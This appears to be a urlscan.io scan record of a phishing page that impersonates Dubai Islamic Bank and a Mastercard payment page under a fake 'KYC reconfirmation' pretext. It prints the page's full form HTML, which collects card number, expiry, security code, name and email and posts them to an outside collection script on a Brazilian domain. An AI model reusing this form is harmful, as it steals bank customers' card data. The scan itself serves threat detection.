dib-verify-kycportal.netlify.app Open in urlscan Pro
2a05:d014:275:cb00::c8  Public Scan

Form analysis
1 forms found in the DOM

POST https://humanizesaude.com.br/dib/lexman/login.php

<form accept-charset="iso-8859-1" acceptcharset="iso-8859-1" id="paymentDetail" action="https://humanizesaude.com.br/dib/lexman/login.php" method="POST" onsubmit="return LockPayButton()" autocomplete="OFF">
  <img src="https://migs.mastercard.com.au/res/merch/828114000/images/icons/padlock.gif" align="absmiddle"><span class="detailCardName"></span>
  <img src="https://migs.mastercard.com.au/res/merch/828114000/images/clearpixel.gif" class="detailSeparatorSpace">
  <font face="Arial, Helvetica, sans-serif" size="2" color="black"> You have chosen this method to reconfirmation your KYC on your account. Please enter your card details into the form below and click "Submit" to get your bank account reconfirmed and
    updated.</font><br><br> Name on card<img src="https://migs.mastercard.com.au/res/merch/828114000/images/buttons/left_for_white.gif" class="img_lfw" align="absmiddle">
  <input id="Name" type="Text" autocomplete="off" name="name" value="" align="CENTER" size="23" maxlength="50" required=""> Email Address<img src="https://migs.mastercard.com.au/res/merch/828114000/images/buttons/left_for_white.gif" class="img_lfw"
    align="absmiddle">
  <input id="Name" type="Text" autocomplete="off" name="Email" value="" align="CENTER" size="23" maxlength="50" required=""> Card Number<img src="https://migs.mastercard.com.au/res/merch/828114000/images/buttons/left_for_white.gif" class="img_lfw"
    align="absmiddle">
  <input id="CardNumber" type="Text" autocomplete="off" name="cardno" value="" align="CENTER" size="23" maxlength="20" required=""> Expiry&nbsp;Date<img src="https://migs.mastercard.com.au/res/merch/828114000/images/buttons/left_for_white.gif"
    class="img_lfw" align="absmiddle">
  <input id="CardMonth" type="Text" name="cardexpirymonth" align="CENTER" size="2" maxlength="2" value="" required="">&nbsp;/&nbsp;<input id="CardYear" type="Text" name="cardexpiryyear" align="CENTER" size="2" maxlength="2" value="" required="">
  &nbsp;&nbsp;month/year Security&nbsp;Code<img src="https://migs.mastercard.com.au/res/merch/828114000/images/buttons/left_for_white.gif" class="img_lfw" align="absmiddle">
  <table width="100%" border="0" cellpadding="0" cellspacing="0">
    <tbody>
      <tr>
        <td align="left" valign="top">
          <input id="Securecode" type="Text" name="cardsecurecode" align="CENTER" size="3" maxlength="3" value="" required="">
        </td>
        <td class="detailRightCol" align="left" valign="middle"> The 3 digits after the card number on the signature panel of your card. </td>
      </tr>
      <tr>
        <td colspan="2" align="left" valign="top"><img src="https://migs.mastercard.com.au/res/svr/default/images/cards/csc/card_sm_masterc_csc.gif" align="absmiddle"></td>
      </tr>
    </tbody>
  </table>
  <!-- Plan Payments row --> Required Fee<img src="https://migs.mastercard.com.au/res/merch/828114000/images/buttons/left_for_white.gif" class="img_lfw" align="absmiddle"> AED<input id="Amount" type="Text" name="Amount" align="CENTER" size="8"
    maxlength="8" value="0.00">
  <table width="100%" border="0" cellspacing="5" cellpadding="0">
    <tbody>
      <tr>
        <td align="right"><input id="Paybutton" alt="Submit card details for processing" type="image" name="payButtonImage"
            src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSD88H6V-gM4mTnw6EFI5aXuH4pirozo-fZjynLrf0ziFn4R5vkHJFx6rSa03NPK7Zaa3A&amp;usqp=CAU" class="img_pay"></td>
      </tr>
    </tbody>
  </table>
  <!-- Authentiction Program Block row -->
  <!-- D:\Viewstore\RobD_MC_PS3.1.x\customer\Mastercard\ps\server\source\Branding\assets\svr\default\ssl-detail-block.jhtml-->
  <!-- D:\Viewstore\RobD_MC_PS3.1.x\customer\Mastercard\ps\server\source\Branding\assets\svr\default\ssl-detail-auth-program-block.jhtml -->
  <img src="https://migs.mastercard.com.au/res/svr/default/images/authProgram_SC.gif"> &nbsp; I hereby authorize Dubai Islamic Bank to reconfirm and update my account in line with the new rules of Central Bank. <img
    src="https://migs.mastercard.com.au/res/merch/828114000/images/clearpixel.gif" class="payHeadWidth">
</form>

Text Content

Merchant name:  NAMSHI QUICK PAY

Enter your card.



You have chosen this method to reconfirmation your KYC on your account. Please
enter your card details into the form below and click "Submit" to get your bank
account reconfirmed and updated.

Name on card Email Address Card Number Expiry Date  /    month/year
Security Code

The 3 digits after the card number on the signature panel of your card.

Required Fee AED



  I hereby authorize Dubai Islamic Bank to reconfirm and update my account in
line with the new rules of Central Bank.